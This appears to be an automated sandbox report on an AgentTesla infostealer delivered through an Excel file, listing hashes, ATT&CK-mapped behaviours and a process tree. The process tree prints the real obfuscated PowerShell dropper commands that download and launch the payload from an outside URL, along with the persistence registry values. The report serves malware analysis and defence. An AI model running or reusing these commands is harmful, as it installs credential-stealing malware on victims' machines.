agenttesla | d3345db33851543b968f728d2a342c49dc72b0dc633da851518d8585e53af3ce

Analysis

max time kernel
139s
max time network
136s
platform
windows10_x64
resource
win10v200722
submitted
28/09/2020, 02:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
9e227b07643afd3444c4d30f0c47c3cf.xls
Size 56KB
Sample200928-zecch9j91x
SHA256 d3345db33851543b968f728d2a342c49dc72b0dc633da851518d8585e53af3ce
MD5 9e227b07643afd3444c4d30f0c47c3cf
SHA1 22df9b7496903bdb3f8325c2c95aadff01773672
SHA512 2be5dd824e59657176ed6a5facd94ffc409e8f045ec03d8bd55cf5bfd02c2457c44df02e0bc804b204a7c9b37bc8b060d6f1aaf3c12bec72510889b810cd02ec
MD5 SHA1 SHA512

Score

10^/10

persistence spyware keylogger trojan stealer agenttesla

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://tinyurl.com/y3psaqmm

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\shell = "explorer.exe,\"C:\\Users\\Admin\\AppData\\Roaming\\re.exe\""	re.exe

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3648	3864	cmd.exe	65
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2704	3864	cmd.exe	65

Blacklisted process makes network request 2 IoCs

flow	pid	Process
24	3096	powershell.exe
26	3096	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2280	re.exe
3172	re.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\re.exe	re.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\re.exe	re.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware

Data from Local System
T1005

Credentials in Files
T1081
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Software\Microsoft\Windows\CurrentVersion\Run\re.exe = "C:\\Users\\Admin\\AppData\\Roaming\\re.exe"	re.exe

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
37	api.ipify.org
38	api.ipify.org

Suspicious use of NtSetInformationThreadHideFromDebugger 13 IoCs

pid	Process
2280	re.exe
2280	re.exe
2280	re.exe
2280	re.exe
2280	re.exe
2280	re.exe
2280	re.exe
2280	re.exe
2280	re.exe
2280	re.exe
2280	re.exe
2280	re.exe
2280	re.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2280 set thread context of 3172	2280	re.exe	86

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3988	2280	WerFault.exe	83

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3488	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3864	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
1172	powershell.exe
3096	powershell.exe
1172	powershell.exe
3096	powershell.exe
1172	powershell.exe
3096	powershell.exe
2280	re.exe
2280	re.exe
2280	re.exe
3172	re.exe
3172	re.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1172	powershell.exe
Token: SeDebugPrivilege	3096	powershell.exe
Token: SeDebugPrivilege	2280	re.exe
Token: SeDebugPrivilege	3172	re.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
3864	EXCEL.EXE
3864	EXCEL.EXE
3864	EXCEL.EXE
3864	EXCEL.EXE
3864	EXCEL.EXE
3864	EXCEL.EXE
3864	EXCEL.EXE
3864	EXCEL.EXE
3864	EXCEL.EXE
3864	EXCEL.EXE
3864	EXCEL.EXE
3864	EXCEL.EXE
3864	EXCEL.EXE
3864	EXCEL.EXE
3172	re.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 3864 wrote to memory of 3648	3864	EXCEL.EXE	77
PID 3864 wrote to memory of 3648	3864	EXCEL.EXE	77
PID 3864 wrote to memory of 2704	3864	EXCEL.EXE	79
PID 3864 wrote to memory of 2704	3864	EXCEL.EXE	79
PID 3648 wrote to memory of 3096	3648	cmd.exe	81
PID 3648 wrote to memory of 3096	3648	cmd.exe	81
PID 2704 wrote to memory of 1172	2704	cmd.exe	82
PID 2704 wrote to memory of 1172	2704	cmd.exe	82
PID 1172 wrote to memory of 2280	1172	powershell.exe	83
PID 1172 wrote to memory of 2280	1172	powershell.exe	83
PID 1172 wrote to memory of 2280	1172	powershell.exe	83
PID 2280 wrote to memory of 3488	2280	re.exe	84
PID 2280 wrote to memory of 3488	2280	re.exe	84
PID 2280 wrote to memory of 3488	2280	re.exe	84
PID 2280 wrote to memory of 3172	2280	re.exe	86
PID 2280 wrote to memory of 3172	2280	re.exe	86
PID 2280 wrote to memory of 3172	2280	re.exe	86
PID 2280 wrote to memory of 3172	2280	re.exe	86
PID 2280 wrote to memory of 3172	2280	re.exe	86
PID 2280 wrote to memory of 3172	2280	re.exe	86
PID 2280 wrote to memory of 3172	2280	re.exe	86
PID 2280 wrote to memory of 3172	2280	re.exe	86

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\9e227b07643afd3444c4d30f0c47c3cf.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3864
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c po^wer^shell -w 1 (New-Object Net.WebClient).DownloadFile('https://tinyurl.com/y3psaqmm',($env:appdata + '\re.exe'))
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3648
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -w 1 (New-Object Net.WebClient).DownloadFile('https://tinyurl.com/y3psaqmm',($env:appdata + '\re.exe'))
    3⤵
    - Blacklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3096
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c po^wer^shell -w 1 Start-Sleep 12; sTArt-`P`R`ocess $env:appdata\re.exe
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2704
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -w 1 Start-Sleep 12; sTArt-`P`R`ocess $env:appdata\re.exe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1172
  - - C:\Users\Admin\AppData\Roaming\re.exe
      "C:\Users\Admin\AppData\Roaming\re.exe"
      4⤵
      Modifies WinLogon for persistence
      Executes dropped EXE
      Drops startup file
      Adds Run key to start application
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2280
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout 4
        5⤵
        Delays execution with timeout.exe
        
        PID:3488
    - - C:\Users\Admin\AppData\Roaming\re.exe
        
        "C:\Users\Admin\AppData\Roaming\re.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:3172
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2280 -s 1740
        5⤵
        Program crash
        
        PID:3988

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Winlogon Helper DLL

T1004

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1172-9-0x000001D47F9A0000-0x000001D47F9A1000-memory.dmp

Download

memory/1172-6-0x00007FFE04A00000-0x00007FFE053EC000-memory.dmp

Download

memory/2280-21-0x0000000005C20000-0x0000000005C21000-memory.dmp

Download

memory/2280-18-0x0000000004D00000-0x0000000004D01000-memory.dmp

Download

memory/2280-20-0x00000000056D0000-0x000000000571D000-memory.dmp

Download

memory/2280-17-0x0000000000340000-0x0000000000341000-memory.dmp

Download

memory/2280-16-0x0000000073270000-0x000000007395E000-memory.dmp

Download

memory/3096-7-0x000001CACA220000-0x000001CACA221000-memory.dmp

Download

memory/3096-5-0x00007FFE04A00000-0x00007FFE053EC000-memory.dmp

Download

memory/3172-31-0x0000000005530000-0x0000000005531000-memory.dmp

Download

memory/3172-22-0x0000000000400000-0x000000000043C000-memory.dmp

Download

memory/3172-25-0x0000000073270000-0x000000007395E000-memory.dmp

Download

memory/3172-32-0x0000000005FE0000-0x0000000005FE1000-memory.dmp

Download

memory/3172-33-0x0000000006440000-0x0000000006441000-memory.dmp

Download

memory/3172-34-0x00000000063E0000-0x00000000063E1000-memory.dmp

Download

memory/3864-0-0x00007FFE0C820000-0x00007FFE0CEE6000-memory.dmp

Download

memory/3988-30-0x00000000045B0000-0x00000000045B1000-memory.dmp

Download